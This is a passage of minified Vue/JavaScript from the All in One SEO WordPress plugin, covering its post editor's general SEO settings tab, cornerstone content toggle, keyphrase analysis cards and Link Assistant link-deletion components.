n(),f("div",sn,[r.pageBuilderAlert?(n(),g(h,{key:0,type:"yellow"},{default:d(()=>[u("span",{innerHTML:r.pageBuilderAlert},null,8,on)]),_:1})):p("",!0),c(a,{tabs:r.parseTabs,showSaveButton:!1,active:this.initTab,internal:"",onChanged:e[0]||(e[0]=y=>r.processChangeTab(y))},null,8,["tabs","active"]),c(at,{mode:"out-in"},{default:d(()=>[s.postEditorStore.currentPost.page_analysis?(n(),g(_,{key:0,analysisItems:s.postEditorStore.currentPost.page_analysis.analysis[this.initTab]},null,8,["analysisItems"])):p("",!0)]),_:1})])}const nn=S(en,[["render",rn]]);const an={setup(){return{licenseStore:B(),postEditorStore:E(),hasRequiredFeature:gt.hasCoreFeature("general","cornerstone-content")}},components:{CoreAlert:G},emits:["changeTab"],data(){return{license:gt,strings:{description:this.$t.__("Cornerstone content refers to the most important and informative articles or pages on your website that serve as the foundation for your content strategy. AIOSEO uses cornerstone content for",this.$td),linkingRecommendations:this.$t.__("internal linking recommendations in Link Assistant.",this.$td),upsell:this.$t.sprintf(this.$t.__("Cornerstone Content is a %1$s feature. %2$s",this.$td),"PRO",this.$links.getUpsellLink("post-settings-general",this.$constants.GLOBAL_STRINGS.learnMore,"cornerstone-content",!0)),markAsCornerstone:this.$t.__("Mark as Cornerstone",this.$td)}}}},ln={class:"cornerstone-content-panel"},dn={class:"cornerstone-content-text"},cn=["innerHTML"],un=["innerHTML"];function hn(t,e,i,s,o,r){const h=l("base-toggle"),a=l("core-alert");return n(),f("div",ln,[u("p",dn,[u("span",null,m(o.strings.description),1),u("a",{href:"#",onClick:e[0]||(e[0]=M(_=>t.$emit("changeTab",{main:"linkAssistant",sub:"link-suggestions"}),["stop","prevent"]))},m(o.strings.linkingRecommendations),1),u("span",{innerHTML:this.$links.getDocLink(this.$constants.GLOBAL_STRINGS.learnMore,"cornerstoneContent",!0)},null,8,cn)]),c(h,{modelValue:s.postEditorStore.currentPost.pillar_content,"onUpdate:modelValue":[e[1]||(e[1]=_=>s.postEditorStore.currentPost.pillar_content=_),e[2]||(e[2]=_=>s.postEditorStore.isDirty=!0)],disabled:!s.hasRequiredFeature},{default:d(()=>[k(m(o.strings.markAsCornerstone),1)]),_:1},8,["modelValue","disabled"]),s.licenseStore.isUnlicensed||!s.hasRequiredFeature?(n(),g(a,{key:0,class:"inline-upsell",type:"blue"},{default:d(()=>[u("div",{innerHTML:o.strings.upsell},null,8,un)]),_:1})):p("",!0)])}const pn=S(an,[["render",hn]]);const gn={setup(){const{strings:t}=pe();return{licenseStore:B(),optionsStore:dt(),postEditorStore:E(),rootStore:Y(),settingsStore:Z(),tagsStore:Ke(),truSeoHighlighterStore:nt(),composableStrings:t}},emits:["changeTab"],mixins:[Ot,$s,Nt,ge,si],components:{AdditionalKeyphrases:Mi,AiGenerator:tr,BaseRadioToggle:me,CoreAlert:G,CoreGoogleSearchPreview:Ls,CoreHtmlTagsEditor:Kt,CoreSettingsRow:N,CoreSidebarCard:ar,CoreTooltip:F,CoreProBadge:Is,FocusKeyphrase:tn,MetaboxAnalysisDetail:vt,PageAnalysis:nn,CornerstoneContent:pn,SvgCircleQuestionMark:Dt,SvgDesktop:Pe,SvgMobile:xe,SvgPencil:ft},props:{disabled:{type:Boolean,default(){return!1}},parentComponentContext:String},data(){return{license:gt,allowed:j,separator:void 0,isPageBuilderEditor:ne,titleCount:0,descriptionCount:0,keywords:null,keyphrases:null,selectedKeyphrase:0,editSnippet:!1,truSeo:null,titleKey:"title0",descriptionKey:"description0",strings:ae(this.composableStrings,{pageName:this.$t.__("General",this.$td),snippetPreview:this.$t.__("Snippet Preview",this.$td),editSnippet:this.$t.__("Edit Snippet",this.$td),clickToAddTitle:this.$t.__("Click on the tags below to insert variables into your title.",this.$td),metaDescription:this.$t.__("Meta Description",this.$td),clickToAddDescription:this.$t.__("Click on the tags below to insert variables into your meta description.",this.$td),cornerstoneContent:this.$t.__("Cornerstone Content",this.$td),focusKeyphrase:this.$t.__("Focus Keyphrase",this.$td),additionalKeyphrases:this.$t.__("Additional Keyphrases",this.$td),pageAnalysis:this.$t.__("Page Analysis",this.$td),basicSeo:this.$t.__("Basic SEO",this.$td),title:this.$t.__("Title",this.$td),readability:this.$t.__("Readability",this.$td),lookingForMetaKeywords:this.$t.__("Looking for meta keywords?",this.$td),goToAdvancedTab:this.$t.__("Go to the Advanced tab to add/edit meta keywords",this.$td),autogenerateDescriptionsAlert:this.$t.sprintf(this.$t.__("Warning: You have disabled Autogenerate Descriptions and are using the default description format. %1$s will not output a description unless you enter a custom one. You can enable Autogenerate Descriptions under %2$s.",this.$td),"AIOSEO",this.$links.getPlainLink(this.$t.__("Search Appearance > Advanced",this.$td),this.rootStore.aioseo.urls.aio.searchAppearance+"#/advanced")),keyphraseDocumentation:this.$t.sprintf(this.$t.__("Not sure what keyphrases are used for? Check out our documentation for more information. %1$s",this.$td),this.$links.getDocLink(this.$constants.GLOBAL_STRINGS.learnMore,"useKeyphrasesTooltip",!0))})}},watch:{"postEditorStore.currentPost.title"(){wt(()=>this.runAnalysis({postId:this.postEditorStore.currentPost.id}),750)},"postEditorStore.currentPost.description"(){wt(()=>this.runAnalysis({postId:this.postEditorStore.currentPost.id}),750)},"truSeoHighlighterStore.highlightSentences"(t,e){wt(()=>this.watchHighlightSentences(t,e))}},computed:{title(){return this.$t.sprintf(this.$t.__("%1$s Title",this.$td),this.postEditorStore.currentPost.type)},toggled:function(){return this.postEditorStore.currentPost.pillar_content===1},displayTruSeoMetaboxCard(){return $t()&&this.$root._data.screenContext==="metabox"&&this.postEditorStore.currentPost.context==="post"&&this.postEditorStore.currentPost.postType!=="attachment"&&this.parentComponentContext!=="modal"&&j("aioseo_page_analysis")&&!this.postEditorStore.currentPost.isSpecialPage&&!this.isForum},displayTruSeoSidebarKeyphraseCard(){return $t()&&this.$root._data.screenContext==="sidebar"&&this.parentComponentContext!=="modal"&&j("aioseo_page_analysis")&&!this.postEditorStore.currentPost.isSpecialPage&&!this.isForum},displayTruSeoSidebarAnalysisCard(){return $t()&&this.$root._data.screenContext==="sidebar"&&this.postEditorStore.currentPost.page_analysis&&this.parentComponentContext!=="modal"&&j("aioseo_page_analysis")&&!this.postEditorStore.currentPost.isSpecialPage&&!this.isForum},isForum(){return this.rootStore.aioseo.data.isBBPressActive&&(this.postEditorStore.currentPost.postType==="forum"||this.postEditorStore.currentPost.postType==="topic"||this.postEditorStore.currentPost.postType==="reply")},focusKeyphraseScore(){return this.postEditorStore.currentPost.keyphrases.focus.keyphrase?this.postEditorStore.currentPost.keyphrases.focus.score:null},showAutogenerateDescriptionsAlert(){return this.optionsStore.internalOptions.internal.deprecatedOptions.includes("autogenerateDescriptions")?(this.postEditorStore.currentPost.context==="post"?this.optionsStore.dynamicOptions.searchAppearance.postTypes[this.postEditorStore.currentPost.postType].metaDescription:this.optionsStore.dynamicOptions.searchAppearance.taxonomies[this.postEditorStore.currentPost.termType].metaDescription)===this.postEditorStore.currentPost.description&&!this.optionsStore.options.deprecated.searchAppearance.advanced.autogenerateDescriptions:!1}},methods:{hideKeywordsLooking(){this.optionsStore.options.searchAppearance.advanced.keywordsLooking=!1,this.optionsStore.saveChanges()},isMobilePreviewEv(t){this.postEditorStore.changeGeneralPreview(t)},editSnippetEv(){this.editSnippet=!this.editSnippet,this.settingsStore.changeTabSettings({setting:"modal",value:"general"}),this.postEditorStore.openModal(!0)},getDefaultTags(t){switch(t){case"title":return this.postEditorStore.currentPost.context==="post"?["post_title","separator_sa","site_title"]:["taxonomy_title","separator_sa","site_title"];case"description":return this.postEditorStore.currentPost.context==="post"?this.postEditorStore.currentPost.postType==="attachment"?["attachment_caption","separator_sa","site_title"]:this.postEditorStore.currentPost.postType==="product"?["post_excerpt","post_content"]:["post_excerpt","post_content","separator_sa"]:["taxonomy_title","separator_sa","taxonomy_description"]}}},mounted(){this.keyphrases=this.postEditorStore.currentPost.keyphrases,this.postEditorStore.currentPost.context==="post"&&!this.postEditorStore.currentPost.keyphrases.length&&(this.selectedKeyphrase=-1),window.aioseoBus.$on("updateTitleKey",()=>{this.titleKey="title"+Math.random(0,999)}),window.aioseoBus.$on("updateDescriptionKey",()=>{this.descriptionKey="description"+Math.random(0,999)})}},_n={class:"aioseo-tab-content aioseo-post-general"},mn=["innerHTML"],fn=["innerHTML"],yn=["innerHTML"],Sn={key:5},bn=["innerHTML"],vn=["innerHTML"];function kn(t,e,i,s,o,r){const h=l("svg-desktop"),a=l("svg-mobile"),_=l("base-radio-toggle"),y=l("core-settings-row"),C=l("core-google-search-preview"),$=l("svg-pencil"),b=l("base-button"),v=l("ai-generator"),w=l("core-html-tags-editor"),R=l("core-alert"),D=l("core-pro-badge"),tt=l("cornerstone-content"),ct=l("svg-circle-question-mark"),ut=l("core-tooltip"),x=l("focus-keyphrase"),L=l("additional-keyphrases"),ht=l("page-analysis"),et=l("core-sidebar-card"),kt=l("metabox-analysis-detail");return n(),f("div",_n,[o.allowed("aioseo_page_general_settings")?(n(),g(y,{key:0,class:"mobile-radio-buttons"},{content:d(()=>[t.$root._data.screenContext==="metabox"||i.parentComponentContext==="modal"?(n(),g(_,{key:0,modelValue:s.postEditorStore.currentPost.generalMobilePrev,"onUpdate:modelValue":r.isMobilePreviewEv,name:"previewGeneralIsMobile",class:"circle",options:[{label:"desktop",value:!1,activeClass:"dark",slot:"desktop"},{label:"mobile",value:!0,slot:"mobile"}]},{desktop:d(()=>[c(h)]),mobile:d(()=>[c(a)]),_:1},8,["modelValue","onUpdate:modelValue"])):p("",!0)]),_:1})):p("",!0),o.allowed("aioseo_page_general_settings")?(n(),g(y,{key:1,name:o.strings.snippetPreview,class:"snippet-preview-row"},{content:d(()=>[c(C,{title:t.parseTags(s.postEditorStore.currentPost.title||s.postEditorStore.currentPost.tags.title||"#post_title #separator_sa #site_title"),separator:s.optionsStore.options.searchAppearance.global.separator,description:t.parseTags(s.postEditorStore.currentPost.description||s.postEditorStore.currentPost.tags.description||"#post_content"),class:P({ismobile:s.postEditorStore.currentPost.generalMobilePrev})},{domain:d(()=>[k(m(s.tagsStore.liveTags.permalink),1)]),_:1},8,["title","separator","description","class"]),t.$root._data.screenContext==="sidebar"&&i.parentComponentContext!=="modal"?(n(),g(b,{key:0,class:"edit-snippet gray small",onClick:r.editSnippetEv},{default:d(()=>[c($),k(" "+m(o.strings.editSnippet),1)]),_:1},8,["onClick"])):p("",!0)]),_:1},8,["name"])):p("",!0),(t.$root._data.screenContext==="metabox"||i.parentComponentContext==="modal")&&o.allowed("aioseo_page_general_settings")?(n(),g(y,{id:"aioseo-post-settings-post-title-row",class:"snippet-title-row",name:r.title,key:o.titleKey},{content:d(()=>[c(w,{modelValue:s.postEditorStore.currentPost.title,"onUpdate:modelValue":[e[0]||(e[0]=A=>s.postEditorStore.currentPost.title=A),e[2]||(e[2]=A=>s.postEditorStore.isDirty=!0)],"line-numbers":!1,single:"",onCounter:e[1]||(e[1]=A=>t.updateCount(A,"titleCount")),"tags-context":`${s.postEditorStore.currentPost.postType||s.postEditorStore.currentPost.termType}Title`,defaultMenuOrientation:i.parentComponentContext==="modal"?"top":"bottom","default-tags":r.getDefaultTags("title")},{"tags-description":d(()=>[k(m(o.strings.clickToAddTitle),1)]),"append-button":d(()=>[s.postEditorStore.currentPost.postType&&!o.isPageBuilderEditor()?(n(),g(v,{key:0,type:"title"})):p("",!0)]),_:1},8,["modelValue","tags-context","defaultMenuOrientation","default-tags"]),u("div",{class:"max-recommended-count",innerHTML:t.maxRecommendedCount(o.titleCount,60)},null,8,mn)]),_:1},8,["name"])):p("",!0),(t.$root._data.screenContext==="metabox"||i.parentComponentContext==="modal")&&o.allowed("aioseo_page_general_settings")?(n(),g(y,{id:"aioseo-post-settings-meta-description-row",class:"snippet-description-row",name:o.strings.metaDescription,key:o.descriptionKey},{content:d(()=>[r.showAutogenerateDescriptionsAlert?(n(),g(R,{key:0,type:"yellow"},{default:d(()=>[u("span",{innerHTML:o.strings.autogenerateDescriptionsAlert},null,8,fn)]),_:1})):p("",!0),c(w,{modelValue:s.postEditorStore.currentPost.description,"onUpdate:modelValue":[e[3]||(e[3]=A=>s.postEditorStore.currentPost.description=A),e[5]||(e[5]=A=>s.postEditorStore.isDirty=!0)],"line-numbers":!1,description:"",onCounter:e[4]||(e[4]=A=>t.updateCount(A,"descriptionCount")),"tags-context":`${s.postEditorStore.currentPost.postType||s.postEditorStore.currentPost.termType}Description`,defaultMenuOrientation:i.parentComponentContext==="modal"?"top":"bottom","default-tags":r.getDefaultTags("description")},{"tags-description":d(()=>[k(m(o.strings.clickToAddDescription),1)]),"append-button":d(()=>[s.postEditorStore.currentPost.postType&&!o.isPageBuilderEditor()?(n(),g(v,{key:0,type:"description"})):p("",!0)]),_:1},8,["modelValue","tags-context","defaultMenuOrientation","default-tags"]),u("div",{class:"max-recommended-count",innerHTML:t.maxRecommendedCount(o.descriptionCount,160)},null,8,yn)]),_:1},8,["name"])):p("",!0),t.$root._data.screenContext==="metabox"&&s.postEditorStore.currentPost.context==="post"&&!o.isPageBuilderEditor()?(n(),g(y,{key:4,id:"aioseo-post-settings-cornerstone-content-row",class:"cornerstone-content-row"},{name:d(()=>[k(m(o.strings.cornerstoneContent)+" ",1),s.licenseStore.isUnlicensed?(n(),g(D,{key:0})):p("",!0)]),content:d(()=>[c(tt,{onChangeTab:e[6]||(e[6]=A=>t.$emit("changeTab",A))})]),_:1})):p("",!0),r.displayTruSeoMetaboxCard&&s.optionsStore.options.searchAppearance.advanced.useKeywords&&s.optionsStore.options.searchAppearance.advanced.keywordsLooking?(n(),f("div",Sn,[c(R,{class:"meta-keywords-alert",type:"blue","show-close":"",onCloseAlert:r.hideKeywordsLooking},{default:d(()=>[k(m(o.strings.lookingForMetaKeywords)+" ",1),u("a",{href:"#",onClick:e[7]||(e[7]=M(A=>t.$emit("changeTab","advanced"),["prevent"]))},m(o.strings.goToAdvancedTab),1),u("a",{class:"no-underline",href:"#",onClick:e[8]||(e[8]=M(A=>t.$emit("changeTab","advanced"),["prevent"]))}," → ")]),_:1},8,["onCloseAlert"])])):p("",!0),r.displayTruSeoMetaboxCard?(n(),g(y,{key:6,class:"snippet-focus-keyphrase-row",align:""},{name:d(()=>[k(m(o.strings.focusKeyphrase)+" ",1),c(ut,null,{tooltip:d(()=>[u("div",{innerHTML:o.strings.keyphraseDocumentation},null,8,bn)]),default:d(()=>[c(ct)]),_:1})]),content:d(()=>[c(x)]),_:1})):p("",!0),r.displayTruSeoMetaboxCard?(n(),g(y,{key:7,name:o.strings.additionalKeyphrases,class:"snippet-additional-keyphrases-row"},{content:d(()=>[c(L)]),_:1},8,["name"])):p("",!0),r.displayTruSeoMetaboxCard&&s.postEditorStore.currentPost.page_analysis?(n(),g(y,{key:8,name:o.strings.pageAnalysis,class:"snippet-page-analysis-row",align:""},{content:d(()=>[c(ht)]),_:1},8,["name"])):p("",!0),t.$root._data.screenContext==="sidebar"&&!o.isPageBuilderEditor()&&this.parentComponentContext!=="modal"?(n(),g(et,{key:9,class:"card-cornerstone-content",slug:"cornerstoneContent","header-text":o.strings.cornerstoneContent},{default:d(()=>[c(tt,{onChangeTab:e[9]||(e[9]=A=>t.$emit("changeTab",A))})]),_:1},8,["header-text"])):p("",!0),r.displayTruSeoSidebarKeyphraseCard?(n(),g(et,{key:10,slug:"focus",focusScore:r.focusKeyphraseScore,class:"card-focus-keyphrase"},{header:d(()=>[u("span",null,m(o.strings.focusKeyphrase),1),c(ut,null,{tooltip:d(()=>[u("div",{innerHTML:o.strings.keyphraseDocumentation},null,8,vn)]),default:d(()=>[c(ct)]),_:1})]),default:d(()=>[c(x)]),_:1},8,["focusScore"])):p("",!0),r.displayTruSeoSidebarKeyphraseCard?(n(),g(et,{key:11,slug:"additional","header-text":o.strings.additionalKeyphrases,class:"card-additional-keyphrase"},{default:d(()=>[c(L)]),_:1},8,["header-text"])):p("",!0),r.displayTruSeoSidebarAnalysisCard?(n(),g(et,{key:12,slug:"basicseo","header-text":o.strings.basicSeo,trueSeoScore:s.postEditorStore.currentPost.page_analysis.analysis.basic.errors,class:"card-basic-seo"},{default:d(()=>[c(kt,{analysisItems:s.postEditorStore.currentPost.page_analysis.analysis.basic},null,8,["analysisItems"])]),_:1},8,["header-text","trueSeoScore"])):p("",!0),r.displayTruSeoSidebarAnalysisCard?(n(),g(et,{key:13,slug:"title","header-text":o.strings.title,trueSeoScore:s.postEditorStore.currentPost.page_analysis.analysis.title.errors,class:"card-title-seo"},{default:d(()=>[c(kt,{analysisItems:s.postEditorStore.currentPost.page_analysis.analysis.title},null,8,["analysisItems"])]),_:1},8,["header-text","trueSeoScore"])):p("",!0),r.displayTruSeoSidebarAnalysisCard?(n(),g(et,{key:14,slug:"readability","header-text":o.strings.readability,trueSeoScore:s.postEditorStore.currentPost.page_analysis.analysis.readability.errors,class:"card-readability-seo"},{default:d(()=>[c(kt,{analysisItems:s.postEditorStore.currentPost.page_analysis.analysis.readability},null,8,["analysisItems"])]),_:1},8,["header-text","trueSeoScore"])):p("",!0)])}const He=S(gn,[["render",kn]]),wn={},Cn={viewBox:"0 0 16 16",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-right-arrow-short"},$n=u("path",{d:"M8 0L6.59 1.41L12.17 7H0V9H12.17L6.59 14.59L8 16L16 8L8 0Z",fill:"currentColor"},null,-1),En=[$n];function Pn(t,e){return n(),f("svg",Cn,En)}const Gt=S(wn,[["render",Pn]]);const xn={setup(){return{postEditorStore:E()}},components:{CoreSettingsRow:N,SvgRightArrowShort:Gt},data(){return{strings:{title:this.$t.__("Link Assistant",this.$td),description:this.$t.__("Here you can view an overview of your existing links as well as find suggestions for new internal links. Click on the button below to view the Link Assistant panel.",this.$td),button:this.$t.__("Open Link Assistant",this.$td)}}}},Tn={class:"aioseo-link-assistant-sidebar"},An={class:"aioseo-sidebar-content-title"};function Mn(t,e,i,s,o,r){const h=l("svg-right-arrow-short"),a=l("base-button"),_=l("core-settings-row");return n(),f("div",Tn,[t.$root._data.screenContext==="sidebar"?(n(),g(_,{key:0,class:"snippet-description-row open-link-assistant-copy"},{content:d(()=>[u("div",An,m(o.strings.title),1),u("p",null,m(o.strings.description),1),c(a,{class:"open-link-assistant-modal gray small",onClick:s.postEditorStore.toggleLinkAssistantModal},{default:d(()=>[c(h),k(" "+m(o.strings.button),1)]),_:1},8,["onClick"])]),_:1})):p("",!0)])}const Ln=S(xn,[["render",Mn]]),O="all-in-one-seo-pack",Hn=()=>{const t={frontPage:V("Front Page",O),deleteLink:V("Delete Link",O)},e={areYouSureSingle:V("Are you sure you want to delete this link?",O),areYouSureMultiple:V("Are you sure you want to delete these links?",O),areYouSureAll:V("Are you sure you want to delete all links?",O),actionCannotBeUndone:V("This action cannot be undone.",O),yesSingle:V("Yes, I want to delete this link",O),yesMultiple:V("Yes, I want to delete these links",O),yesAll:V("Yes, I want to delete all links",O),noChangedMind:V("No, I changed my mind",O)};return{bulkOptions:[{label:V("Delete",O),value:"delete"}],modalStrings:e,strings:t}},In={methods:{findTargetBlock(t,e){const i=J(e);let s=null;return t.forEach(o=>{if(s||!o.attributes)return;if(o.attributes.content&&o.attributes.content.search(i)!==-1){s=o.clientId;return}if(!o.innerBlocks)return;const r=this.findTargetBlock(o.innerBlocks,e);r&&(s=r)}),s}}},Bn={emits:["updatingLinks","linksUpdated"],mixins:[In],props:{post:{type:Object,required:!0},postIndex:{type:Number,required:!1},postId:{type:Number,required:!1},linksReport:{type:Boolean,default(){return!1}},postReport:{type:Boolean,default(){return!1}},metabox:{type:Boolean,default(){return!1}}},beforeMount(){window.aioseoBus.$on("updatingLinks",e=>{this.wpTableLoading=e});const t=it();this.pageNumber=this.linkType?t.postReport[this.linkType].totals.page:1},data(){return{changeItemsPerPageSlug:"linkAssistantPostsReport",action:"",showModal:!1,selectedRows:[]}},computed:{rows(){if(!this.metabox)return this.post.links[this.linkType].rows;const t=this.pageNumber===1?0:(this.pageNumber-1)*10;return this.post.links[this.linkType].rows.slice(t,t+10)}},methods:{fetchData(t){const e=E();window.aioseoBus.$emit("updatingLinks",!0);const i={...t,additionalFilters:{postId:this.post.ID||e.currentPost.id,postIndex:this.postIndex,type:this.linkType}},s=it(),o=this.postReport?"fetchPostReport":"fetchLinksReportInner";return s[o](i).finally(()=>{window.aioseoBus.$emit("updatingLinks",!1)})},openPostReport(t){window.location.href=`#/post-report?postId=${this.postId}&postIndex=${this.postIndex}&initialTab=${t}`},maybeDoBulkAction({action:t,selectedRows:e}){e===!1||!t||(this.action=t,this.selectedRows=e,this.showModal=!0)},doBulkAction(){if(this.showModal=!1,this.selectedRows===!1||typeof this.selectedRows>"u")return;if(typeof this.selectedRows=="number"){this.doDeleteLink(this.selectedRows);return}if(this.metabox&&this.linkType!=="inboundInternal"){this.idsToIndexes(this.selectedRows).forEach(s=>{this.editorRemoveLink(s)});return}window.aioseoBus.$emit("updatingLinks",!0);const t=it(),e=E();t.linksBulk({postIndex:this.postIndex,postId:this.post.ID||e.currentPost.id,action:this.action,linkType:this.linkType,linkIds:this.selectedRows,linksReport:this.linksReport,postReport:this.postReport}).finally(()=>{window.aioseoBus.$emit("updatingLinks",!1),this.$emit("linksUpdated"),this.refreshTable()})},doDeleteLink(t){const e=this.post.links[this.linkType].rows[t].id;if(!e)return;if(this.metabox&&this.linkType!=="inboundInternal"){this.editorRemoveLink(t);return}window.aioseoBus.$emit("updatingLinks",!0);const i=it(),s=E();i.linkDelete({postIndex:this.postIndex,postId:this.post.ID||s.currentPost.id,linkId:e,linksReport:this.linksReport,postReport:this.postReport}).finally(()=>{window.aioseoBus.$emit("updatingLinks",!1),this.$emit("linksUpdated"),this.refreshTable()})},editorRemoveLink(t){_t()&&(window.aioseoBus.$emit("updatingLinks",!1),this.blockEditorRemoveLink(t),window.aioseoBus.$emit("updatingLinks",!1)),re()&&this.classicEditorRemoveLink(t)},blockEditorRemoveLink(t){const i=E().currentPost.linkAssistant.links[this.linkType].rows[t];if(!i)return;window.aioseoBus.$emit("updatingLinks",!0);const s=J(i.anchor.trim()),o=i.phrase_html.trim(),r=J(o),h=window.wp.data.select("core/block-editor").getBlocks(),a=this.findTargetBlock(h,o);if(!a){window.aioseoBus.$emit("updatingLinks",!1);return}const _=window.wp.data.select("core/block-editor").getBlock(a);if(!_){window.aioseoBus.$emit("updatingLinks",!1);return}let y=new RegExp(`(<t?a[^<>]*>)(.*)?(${s})(.*)?(</t?a[^<>]*>)`,"i");const C=o.replace(y,"$2$3$4");y=new RegExp(`${r}`,"i"),window.wp.data.dispatch("core/block-editor").updateBlockAttributes(a,{content:_.attributes.content.replace(y,C)}).then(()=>{this.post.links[this.linkType].rows.splice(t,1)}).catch($=>{console.error(`Couldn delete link with type "${this.linkType}" and index ${t}:`,$)}).finally(()=>{window.aioseoBus.$emit("updatingLinks",!1),this.$emit("linksUpdated")})},classicEditorRemoveLink(t){var b;const i=E().currentPost.linkAssistant.links[this.linkType].rows[t];if(!i||!window.tinyMCE)return;window.aioseoBus.$emit("updatingLinks",!0);let s="",o=null,r=null;if(document.querySelector("#wp-content-wrap.tmce-active")?(o=window.tinyMCE.get("content"),s=o.getContent({format:"raw"})):(r=document.querySelector("textarea#content"),s=r?r.value:""),!s){window.aioseoBus.$emit("updatingLinks",!1);return}let h=i.phrase_html.trim();o||(h=h.replace(/(\sdata-mce-href=".*")/gi,""));const a=J(i.anchor.trim());let _=new RegExp(`(<t?a[^<>]*>)(.*)?(${a})(.*)?(</t?a[^<>]*>)`,"i");const y=h.replace(_,"$2$3$4"),C=J(h);_=new RegExp(`${C}`,"i"),s=s.replace(_,y),o?o.setContent(s):r.value=s,this.post.links[this.linkType].rows.splice(t,1),(b=it().postSettingsUpdate({postContent:s}))==null||b.finally(()=>{window.aioseoBus.$emit("updatingLinks",!1),this.$emit("linksUpdated")})},idsToIndexes(t){let e,i=[];return Array.isArray(t)&&(e=t.map(Number)),e&&this.post.links[this.linkType].rows.forEach((s,o)=>{e.includes(s.id)&&i.push(o)}),t==="all"&&(i=this.post.links[this.linkType].rows.map((s,o)=>o)),i.sort(function(s,o){return o-s})}}};const Rn={emits:["closeModal","doBulkAction"],components:{CoreModal:Vs,SvgClose:Bt},props:{selectedRows:{required:!0},strings:{type:Object,required:!0}},computed:{areYouSure(){return this.selectedRows==="all"?this.strings.areYouSureAll:Array.isArray(this.selectedRows)&&1<this.selectedRows.length?this.strings.areYouSureMultiple:this.strings.areYouSureSingle},confirmation(){return this.selectedRows==="all"?this.strings.yesAll:Array.isArray(this.selectedRows)&&1<this.selectedRows.length?this.strings.yesMultiple:this.strings.yesSingle}}},Dn={class:"aioseo-modal-body"},Vn=["innerHTML"];function On(t,e,i,s,o,r){const h=l("svg-close"),a=l("base-button"),_=l("core-modal");return n(),g(_,{class:"aioseo-confirmation-modal","no-header":""},{body:d(()=>[u("div",Dn,[u("button",{class:"close",onClick:e[1]||(e[1]=M(y=>t.$emit("closeModal",!0),["stop"]))},[c(h,{onClick:e[0]||(e[0]=y=>t.$emit("closeModal",!0))})]),u("h3",null,m(r.areYouSure),1),u("div",{class:"reset-description",innerHTML:i.strings.actionCannotBeUndone},null,8,Vn),c(a,{type:"blue",size:"medium",onClick:e[2]||(e[2]=y=>t.$emit("doBulkAction",y))},{default:d(()=>[k(m(r.confirmation),1)]),_:1}),c(a,{type:"gray",size:"medium",onClick:e[3]||(e[3]=y=>t.$emit("closeModal",!0))},{default:d(()=>[k(m(i.strings.noChangedMind),1)]),_:1})])]),_:1})}const Nn=S(Rn,[["render",On]]);const Un={components:{CoreTooltip:F},props:{phrase:{type:String,required:!0},phraseHtml:{type:String,required:!0},anchor:{type:String,required:!0},url:{type:String,required:!0},tooltip:{type:Boolean,required:!1,default:!0},clickableAnchor:{type:Boolean,default(){return!1}}},computed:{partPattern(){const t=this.decodeHtmlEntities(this.anchor),e=J(t);return new RegExp(`(.*)(<t?a[^>]*>.*${e}.*</t?a>)(.*)`,"i")},firstPart(){return this.decodeHtmlEntities(this.stripTags(this.getPart(1)).trimStart())},linkAnchor(){return this.decodeHtmlEntities(this.stripTags(this.getPart(2)))},lastPart(){return this.decodeHtmlEntities(this.stripTags(this.getPart(3)).trimEnd())}},methods:{getPart(t){const i=this.decodeHtmlEntities(this.stripTags(this.phraseHtml,!0)).match(this.partPattern);return i?i[t]:""},stripTags(t,e=!1){return t=t.replace(/<br\s?\/?>/gi," "),e?t.replace(/<(?!a\s)(?!\/a)[^>]*>/gi,""):t.replace(/<[^>]*>/gi,"")},maybeOpenLink(){this.clickableAnchor&&window.open(this.url,"_blank").focus()},decodeHtmlEntities(t){const e=document.createElement("textarea");return e.innerHTML=t,e.value}}},Kn={class:"phrase"},Gn={key:0,class:"first"},Fn=["href"],zn={key:2},qn={class:"anchor"},Wn={key:3,class:"last"};function jn(t,e,i,s,o,r){const h=l("core-tooltip");return n(),f("div",{class:"aioseo-link-assistant-phrase",onMouseover:e[1]||(e[1]=a=>t.$emit("mouseOver")),onMouseleave:e[2]||(e[2]=a=>t.$emit("mouseLeave"))},[u("span",Kn,[r.firstPart?(n(),f("span",Gn,m(r.firstPart),1)):p("",!0),i.tooltip?(n(),g(h,{key:1,type:"action"},{tooltip:d(()=>[u("a",{class:"tooltip-url",href:i.url,target:"_blank"},m(i.url),9,Fn)]),default:d(()=>[u("span",{class:"anchor",onClick:e[0]||(e[0]=(...a)=>r.maybeOpenLink&&r.maybeOpenLink(...a))},m(r.linkAnchor),1)]),_:1})):p("",!0),i.tooltip?p("",!0):(n(),f("div",zn,[u("span",qn,m(r.linkAnchor),1)])),r.lastPart?(n(),f("span",Wn,m(r.lastPart),1)):p("",!0)]),q(t.$slots,"icons")],32)}const Zn=S(Un,[["render",jn]]),Yn={},Jn={viewBox:"0 0 17 10",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-link-suggestion"},Xn=u("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M7.66699 7.43742H4.33366C2.95866 7.43742 1.83366 6.31242 1.83366 4.93742C1.83366 3.56242 2.95866 2.43742 4.33366 2.43742H7.66699V0.770752H4.33366C2.03366 0.770752 0.166992 2.63742 0.166992 4.93742C0.166992 7.23742 2.03366 9.10408 4.33366 9.10408H7.66699V7.43742ZM12.667 0.770752H9.33366V2.43742H12.667C14.042 2.43742 15.167 3.56242 15.167 4.93742C15.167 6.31242 14.042 7.43742 12.667 7.43742H9.33366V9.10408H12.667C14.967 9.10408 16.8337 7.23742 16.8337 4.93742C16.8337 2.63742 14.967 0.770752 12.667 0.770752ZM11.8337 4.10409H5.16699V5.77075H11.8337V4.10409Z",fill:"currentColor"},null,-1),Qn=[Xn];function ta(t,e){return n(),f("svg",Jn,Qn)}const Ft=S(Yn,[["render",ta]]),ea={setup(){const{strings:t,modalStrings:e,bulkOptions:i}=Hn();return{rootStore:Y(),settingsStore:Z(),composableStrings:t,bulkOptions:i,modalStrings:e}},emits:["openSuggestions"],components:{CoreTooltip:F,CoreWpTable:Rs,LinkAssistantConfirmationModal:Nn,LinkAssistantPhrase:Zn,SvgLinkExternal:Se,SvgLinkSuggestion:Ft,SvgTrash:yt},mixins:[Bn,Ds,Bs],data(){return{tableId:"aioseo-post-report-inbound-internal",linkType:"inboundInternal",strings:ae(this.composableStrings,{deleteAllLinks:this.$t.sprintf(this.$t.__("Delete All %1$s Links",this.$td),this.$t.__("Inbound Internal",this.$td)),outboundSuggestions:this.$t.sprintf(this.$t.__("%1$s Link Suggestions",this.$td),this.$t.__("Inbound",this.$td))})}},computed:{columns(){return[{slug:"post_title",label:this.$t.__("Post 